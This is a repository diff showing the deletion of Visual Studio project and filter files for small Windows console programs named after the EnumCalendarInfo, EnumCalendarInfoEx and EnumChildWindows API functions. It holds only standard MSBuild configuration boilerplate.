<ProjectGuid>{5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}</ProjectGuid>
<RootNamespace>EnumCalendarInfo</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="EnumCalendarInfo.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,151 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{DE7B0D0A-371D-4401-B2A2-A83E891AB90A}</ProjectGuid>
<RootNamespace>EnumCalendarInfoEx</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="EnumCalendarInfoEx.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,151 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{f7214ddd-57b1-46ba-a54a-876cc7cf7d5e}</ProjectGuid>
<RootNamespace>EnumChildWindows</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="EnumChildWindows.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,22 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="EnumChildWindows.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

Some files were not shown because too many files have changed in this diff Show More